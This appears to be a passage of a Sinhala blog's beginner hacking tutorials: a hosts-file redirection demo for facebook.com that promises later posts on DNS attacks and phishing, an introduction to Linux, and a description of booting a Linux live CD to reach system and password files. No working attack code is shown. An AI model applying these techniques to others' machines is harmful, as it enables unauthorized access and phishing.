<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ9JfaabY2JC1TiIXTCg_9gbd4SjdtxbCUM8wuRynfdl-b8X31VKSYxtGiE5ygPi6VXmKX4iPaY0vizTCK2YjMcBl0TiTR8bO2BMQ5anw2PGTxY1g7cuJ9vy4UssSQqcAT4FNefwnHeTOt/s1600/HOSTS5.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ9JfaabY2JC1TiIXTCg_9gbd4SjdtxbCUM8wuRynfdl-b8X31VKSYxtGiE5ygPi6VXmKX4iPaY0vizTCK2YjMcBl0TiTR8bO2BMQ5anw2PGTxY1g7cuJ9vy4UssSQqcAT4FNefwnHeTOt/s1600/HOSTS5.JPG" height="226" width="320" /></a></div>
<div style="text-align: center;">
ඊට පස්සේ මේ hosts file එක save කරල පරිඝනකයේ web browser එක open කරල www.facebook.com හො facebook.com ලෙස ඇතුල් කරල බැලුවොත් පෙනෙයි මෙන්න <b>මේ වගේ error එකක් එනව.</b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJKyPgAkEX3n8_5Li0cL0X4MI-rNUQCVZIdq0MtwyBs83cEqLuh338QpwNxlhSxkLivLgUCV-YjoAaSNQpurwnWqnRpXgiEE4jpinmPoiKJs9U-tKiCLtFtMu9_zMV09zZ1iLA7o4l6xsp/s1600/ERROR.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJKyPgAkEX3n8_5Li0cL0X4MI-rNUQCVZIdq0MtwyBs83cEqLuh338QpwNxlhSxkLivLgUCV-YjoAaSNQpurwnWqnRpXgiEE4jpinmPoiKJs9U-tKiCLtFtMu9_zMV09zZ1iLA7o4l6xsp/s1600/ERROR.JPG" height="227" width="320" /></a></div>
<div style="text-align: center;">
ඉතින් ඔය විදිහට තමයි මේ hosts file එක වෙනස් කරන්නේ. ඔයාලට පුලුවන් 127.0.0.1 කියන තැනට වෙන ඕනම ip ලිපිනයක් දාල වෙනස් කරගන්න. </div>
<div style="text-align: center;">
<br />
ඊලඟ ලිපියෙන් මං ඔයාලට කියල දෙන්නම් කොහොමද මේ DNS Attacks එකක් වෙනත් පරිඝනකයනට දෙන්නේ සහ මේක බාවිතා කරල මොනවද කරන්න පුලුවන් කියල උදාහරනයක් විදිහට phishing attack එකක් වගේ කරන්නේ කොහොමද කියල.</div>
<div style="text-align: center;">
<br />
<span style="color: blue;">තව දෙයක් කියන්න ඔනේ හැමවිටම මේ Hacking කියන දෙය නරකට බාවිතා කරනව කියල දෙයක් නෑ මේ දේවල් හොඳ විදියට බාවිතා කරන්නත් පුලුවන්. අපි හිතමු ඔයාගෙ ගෙදර නංගිල මල්ලිල හරි ළමයි හරි ඔය facebook සහ තව ඔය අනවශ්ය දේවල් වලට යොමු වෙලා තියනවනම් ඔයාට පුලුවන් ඒ web sites list එක අරගෙන hosts එකට add කරල ඒ sites වලට යන එක නවත්තලා දාන්න. ඉතින් ඒ වගේ හොඳ දේවල් වලටත් මේ Hacking බාවිතා කරන්න පුලුවන්. සුභ දවසක් එහෙනම් ඊලඟ ලිපියෙන් හම්බ වෙමු.</span></div>
Anonymoushttp://www.blogger.com/profile/07265846950157282766noreply@blogger.com0Sri Lanka7.8730539999999989 80.7717969999999923.8497194999999991 75.608223 11.896388499999999 85.935370999999989tag:blogger.com,1999:blog-1015943570259670143.post-81138214115149646012014-04-21T21:51:00.001+05:302014-04-21T21:51:35.192+05:30Linux හැඳින් වීම.<div class="separator" style="clear: both; text-align: center;">
<a href="http://rubixdesignandrepair.com/images/Computer%20Repair/Linux.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://rubixdesignandrepair.com/images/Computer%20Repair/Linux.png" height="200" width="320" /></a></div>
<div style="text-align: center;">
මුලින්ම අපි Linux හැඳින් වීම යටතේ මොකක්ද Linux සහ කොහෙන්ද මේ Linux අවේ කියල බලමු. Linux කියන්නේ මෙහෙයුම් පද්දතියක් නැත්නම් O.S. එකක් (operating system). ඉතින් මෙහෙයුම් පද්දතියක් කියන්නේ පරිඝනකයක අපි බාවිතා කරන මෘදුකාංග හා දෘඩාංග (software and hardware) අතර සම්බන්දතාවය පවත්වා ගැනීමට බාවිතා කරන තවත් විශාල මෘදුකාංගයක්. සාමාන්යයෙන් windows මෙහෙයුම් පද්දතියක් බාවිතා කරන්නේ desktop පරිඝනකයක microsoft office, photoshop වගේ මෘදුකිංග බාවිතයට නමුත් Linux බාවිතා කරන්නේ සාමාන්යයෙන් severs වල ඒ කියන්නේ web sever, database sever වගේ දේවල් වලට. </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
ඉතින් මේ Linux මෙහෙයුම් පද්දතිය හැදුනේ මුලින්ම 1991-1994 යන කාලය අතර තුරයි එහි නිරිමාතෘ වරය වන්නේ <a href="http://en.wikipedia.org/wiki/Linus_Torvalds" target="_blank">Linus Torvalds</a> නම් පුදගලයෙක්. ඒ වගේම ගොඩක් මිනිස්සු හිතනව මේ Linux කියන්නේ Unix කියන මෙහෙයුම් පද්දතියේ versions (අනුවාදයක්) එකක් කියල නමුත් ඒක එහෙම නෙමේ. Unix කියන්නේ වෙනමම විදිහක os එකක් Linux කියන්නේ ඊට වෙනස් os එකක්. Linux බිහිවෙන්න හේතුව කමයි Linus Torvalds ට අවශ්ය වුනා මිනිස්සුන්ට නොමිලේම බාවිතා කරන්න පුලුවන් os එකක් නිර්මාණය කරන්න.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
1994ට කලින් unix කියන්නෙත් නොමිලයේ දෙන os එකක් නෙමේ හරියට windows වගේ os එක ගන්නවනම් අපි කාටහරි ගෙවන්න ඕනෙ නමුත් දැන් unix ඕන කෙනෙක්ට ගන්න පුලුවන්. ඉතින් මේ නිසා තමයි Linux නිර්මාණය වුනේ. Linux කියන්නේ os එකක් ඒක windows වගෙත් නෙමේ ඒක mac වගෙත් නෙමේ ඒක වෙනස්ම මෙහෙයුම් පද්දතියක්. ඒවගෙම වර්තමානය වන විට Linux Distributions විශාල ප්රමානයක් නිර්මාණය වෙලා තියනවා එම මෙහෙයුම් පද්දති කිහිපයක් පමනක් පහත දැක්වෙනව.</div>
<div style="text-align: center;">
<br /></div>
<ul>
<li><a href="http://www.ubuntu.com/" target="_blank">Ubuntu Linux </a></li>
<li> <a href="http://www.linuxmint.com/" target="_blank">Linux Mint</a></li>
<li> <a href="http://www.backtrack-linux.org/%E2%80%8E" target="_blank">Backtrack</a></li>
<li><a href="http://www.kali.org/%E2%80%8E" target="_blank">Kali Linux</a> </li>
<li><a href="http://elementaryos.org/%E2%80%8E" target="_blank">Elementary OS</a></li>
<li><a href="http://ceylonlinux.com/%E2%80%8E" target="_blank">Ceylon Linux</a></li>
</ul>
Anonymoushttp://www.blogger.com/profile/07265846950157282766noreply@blogger.com0Sri Lanka7.8730539999999989 80.7717969999999923.8497194999999991 75.608223 11.896388499999999 85.935370999999989tag:blogger.com,1999:blog-1015943570259670143.post-43602728706845891992014-04-20T23:02:00.000+05:302014-04-20T23:04:50.344+05:30ඇත්තටම අපි Hacking දන්නවද?<div style="text-align: center;">
මෙම බ්ලොග් අඩවිය මගින් ඔබට <span style="color: blue;">Hacking</span> එහෙම නැත්නම් අනවසරයෙන් සිදුකරණ පරිඝණක ආශ්රිත ක්රියාකාර කම් පිලිබඳව දැනුවත් කිරීමේ පාඩම් මාලාවක් ඉදිරිපත් කිරීමට බලාපොරොත්තු වෙනවා. එහි පලමු අදියර වශයෙන් මොකක්ද මේ <span style="color: blue;">Hacking</span> කියන්නේ කියල බලමු.</div>
<br />
<div style="text-align: center;">
මුලින්ම දෙයක් කියන්න ඕනෙ <span style="color: blue;">Hacking</span> කියන්නේ සම්පූර්ණයෙන්ම නීති විරෝදී දෙයක් ඉතින් ඔබ කාගේ හෝ දත්ත හොරා ගන්නවනම්, බලනවනම්, පද්දත්යක් අඩාල කරණවනම්, පද්දතියක් විනාෂ කරනවනම් එහි අවදානම ඔබ සතුයි. </div>
<br />
<div style="text-align: center;">
<span style="color: blue;">Hacking</span> කියන්නේ සම්ප්රදායික නොවන ක්රමයකට පද්දති සමග කටයුතු කිරීම. so එයින් අදහස් වෙන්නේ මේ වගේ දෙයක් උදාහරනයකට windows පරිඝනකයක යම් system file එකක් open කරන්න වෙනස් කරන්න උත්සහ කරනවානමි windows මෙහෙයුම් පද්දතිය මගින් ඒකට අවසර දෙන්නේ නෑ.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGeD6uvBAdSnuTg9YPDy3oHfJgn6AT7wG9_LG1_0JBPShFyyGS6qsD3n_OIZD8fz07YIBFSqvGFswWh-fDh_0Slpbq1aXa-zev2BREZG4Jq4-9RirCiwQwrWBmcsT5uttwGgY2eJSudsWm/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGeD6uvBAdSnuTg9YPDy3oHfJgn6AT7wG9_LG1_0JBPShFyyGS6qsD3n_OIZD8fz07YIBFSqvGFswWh-fDh_0Slpbq1aXa-zev2BREZG4Jq4-9RirCiwQwrWBmcsT5uttwGgY2eJSudsWm/s1600/Capture.PNG" height="176" width="320" /></a></div>
<div style="text-align: center;">
එතකොට ඔයාට පුලුවන් Linux live cd එකක් මගින් ඒ පරිඝනකය boot කරල අවශ්ය සියලුම system files, password files ඕන එකක් පාලනය කරන්න පුලුවන්. ඉතින් ඒක තමයි සම්ප්රදායික නොවන ක්රමයකට පද්දති සමග කටයුතු කිරීම කියන්නේ.</div>
<br />
<div style="text-align: center;">
හොඳයි අපි බලමු කොහොමද මේ Hacking Attacks සිදු කරන්නේ කියල. මුලින්ම අපි දැනගතයුතු දෙයක් තමයි හරියට චිත්ර පටිවල වගේ එක පරිඝනකයක් ඉස්සරහ ඉඳගෙන පොඩි කෝඩ් එකක් type කරල විනාඩි 2,3 කින් Hacking Attacks කරන්න බෑ. ඒක සැබෑ ලෝකයේ Hacking Attacks සිදුවන විදිහ නෙමේ. Hacking Attack එකක් කරනවා කියන්නෙ ගොඩාක් අමාරු වැඩක්. එ්ක සමහර විට දවසක්, සතියක්, මාසයක් තුල සිදුවන ක්රියාවලියක් වෙන්න පුලුවන්. හොඳයි අපි හිතමු ඔයාට ඕනෙ යම් ප්රදාන පරිඝනකයක් එහෙම නැත්නම් sever එකක් Hack කරන්න එහිදී ඔයාට පුලුවන් ඒ පරිඝනකය තියන තැනට ගිහිල්ල ඒක උස්සගන දුවගන එන්න. එහෙම නැත්නම් පුලුවන් ඒ පරිඝනකය ලඟට ගිහින් ඒක Linux live cd එකකින් boot කරල ඔයාට අවශ්ය කරන තොරතුරු pen drive එකකට දාගෙන එන්න. එහෙමත් නැත්නම් ඔයාට පුලුවන් අන්තර්ජාලය බාවිතා කරල වෙන තැනක ඉඳන් ඒ පරිඝනකයට ඇතුල් වෙලා ඒකෙ කියන තොරතුරු ගන්න නැත්නම් විනාශ කරන්න.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
මං හිතනව Hacking කියන දෙය පිලිබඳ යම් අදහසක් ඔබට තියනව කියලා දැන්. මං මේ පාඩම් මාලාව තුල Hackers ලා කවුද ඒ කියන්නේ black hat, white hat hackers ලා ගැන විස්තර කරන්න යන්නේ නෑ ඒක ඔයා දැනටමත් දන්නව ඇති මොකද හැම site එකකම තියනවනෙ. හොඳයි අපි ඊලඟ post එකේ ඉඳන් Hacking කරන්න පටන් ගමු. සුභ දවසක් මං ගියා.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: left;">
<span style="color: red;">Typing mistakes තියනවනම් සමාවෙන්න පලවෙනි post එකනෙ.</span></div>
Anonymoushttp://www.blogger.com/profile/07265846950157282766noreply@blogger.com2Sri Lanka7.8730539999999989 80.7717969999999927.8730539999999989 80.771796999999992 7.8730539999999989 80.771796999999992